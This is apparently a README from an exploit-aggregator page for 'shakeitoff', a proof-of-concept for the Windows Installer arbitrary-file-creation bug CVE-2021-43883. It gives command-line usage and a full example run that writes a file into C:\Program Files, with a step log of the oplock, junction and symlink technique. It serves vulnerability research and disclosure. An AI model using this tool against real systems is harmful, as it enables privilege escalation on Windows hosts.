## https://sploitus.com/exploit?id=DF9C9272-7F4D-5362-A6BF-18A60A5E907D
# shakeitoff
A smaller, minimized, and cleaner version of [InstallerFileTakeOver](https://github.com/klinix5/InstallerFileTakeOver) aka the zero-day exploit that is a "variation" of CVE-2021-41379 (later assigned [CVE-2021-43883](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43883)). This version *does not* pop a shell like `InstallerFileTakeOver`. The point of this code was to create a simpler proof of concept that more reliably demonstrates the file creation attack. This proof of concept will create the arbitrary file requested by the user (and copy itself into it to prove writablity). Demonstrating code execution is a trivial excercise left up to the reader.
To understand how the attack works, please see the [AttackerKB write up](https://attackerkb.com/topics/7LstI2clmF/cve-2021-41379/rapid7-analysis).
## Usage
The tool requires three parameters:
```
C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
-h, --help produce help message
-m, --msi_path arg The path to the MSI to install
-i, --install_path arg The path to install to
-p, --target_path arg The file to create
```
1. -m - the msi to install (full path required). One is provided in this repository (and you should use it since the file paths actually matter).
2. -i - the install path (full path required). This is where the msi is installed / the exploit goes down. The user must specify this beforehand and it *must* be an empty directory. The tool doesn't clean it up because it makes figuring out the bug easier. There also must be a trailing \ because I'm a monster.
3. -p - the file to overwrite/create. Full path required.
The PoC will just copy itself into the target file.
## Usage Example
```
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
File Not Found
C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
12/02/2021 02:01 PM 368,640 lol
1 File(s) 368,640 bytes
0 Dir(s) 86,015,610,880 bytes free
```
## Credit
* This code is influenced by the original [exploit](https://github.com/klinix5/InstallerFileTakeOver) published by Abdelhamid Naceri (also the original vulnerability discoverer!).
* The `FileOpLock` code is a (slight modified) version pulled out of [angrypolarbearbug2](https://github.com/jackusm/polarbearrepo/tree/f37184a3fc3ffa5ea76035c9fbdee95a39d7b4c3/angrypolarbearbug2)
* Taylor Swift